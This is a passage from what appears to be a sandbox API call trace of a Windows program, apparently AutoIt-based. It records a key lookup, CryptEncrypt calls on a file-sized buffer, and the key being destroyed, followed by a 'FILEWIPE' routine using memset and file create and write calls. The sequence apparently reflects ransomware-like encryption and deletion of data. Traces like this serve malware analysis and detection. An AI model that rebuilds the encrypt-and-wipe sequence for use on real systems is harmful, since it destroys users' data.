lpMsg=0xe8f3dfe090) returned 0 [0028.353] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0028.353] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.353] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.354] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.354] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0028.354] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.354] CryptGetKeyParam (in: hKey=0xe8f4062720, dwParam=0x7, pbData=0xe8f4064ca0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064ca0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0028.354] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.354] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.354] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.354] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.354] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.354] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.354] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.354] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.354] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.354] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.354] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.354] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.355] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.355] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.355] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.355] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.355] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.355] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.355] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.355] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.355] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.355] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.355] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.355] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.355] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.355] CryptEncrypt (in: hKey=0xe8f4062720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x812c, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x8130) returned 1 [0028.355] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.355] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.355] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.355] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.355] CharLowerBuffW (in: lpsz="byte[33073]", cchLength=0xb | out: lpsz="byte[33073]") returned 0xb [0028.356] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.356] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.356] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.356] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.356] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.356] CryptEncrypt (in: hKey=0xe8f4062720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43923f0*, pdwDataLen=0xe8f3dfdf68*=0x812c, dwBufLen=0x8130 | out: pbData=0xe8f43923f0*, pdwDataLen=0xe8f3dfdf68*=0x8130) returned 1 [0028.356] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.356] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.356] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.356] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.356] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.356] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.356] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.356] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.356] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.357] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.357] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.357] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.357] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.357] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.357] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.357] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.357] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.358] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.358] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.358] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.359] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.359] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.359] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0028.359] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.359] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.359] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0028.359] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.359] CryptDestroyKey (hKey=0xe8f4062720) returned 1 [0028.359] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.359] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.359] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.359] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.359] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.359] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.359] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.359] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.359] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.359] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0028.359] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.359] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.360] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.360] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.360] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.360] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.360] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.360] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.360] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.360] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.360] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.360] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.360] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.360] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.360] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.360] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.360] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.360] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.360] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.360] CryptReleaseContext (hProv=0xe8f419a0a0, dwFlags=0x0) returned 1 [0028.360] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.360] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.360] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.360] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.360] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.360] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.361] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.361] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.361] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.361] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0028.362] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.362] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.362] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.362] CharLowerBuffW (in: lpsz="byte[33068]", cchLength=0xb | out: lpsz="byte[33068]") returned 0xb [0028.362] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.362] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0028.362] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.362] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0028.362] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.362] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.362] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.362] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0028.362] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.362] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.362] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.362] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.362] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.362] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.362] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.362] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.363] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.363] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.363] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.363] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.363] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.363] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.363] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.363] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.363] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0028.363] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.363] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.363] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.363] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0028.363] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.363] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.363] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.363] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.363] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.363] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 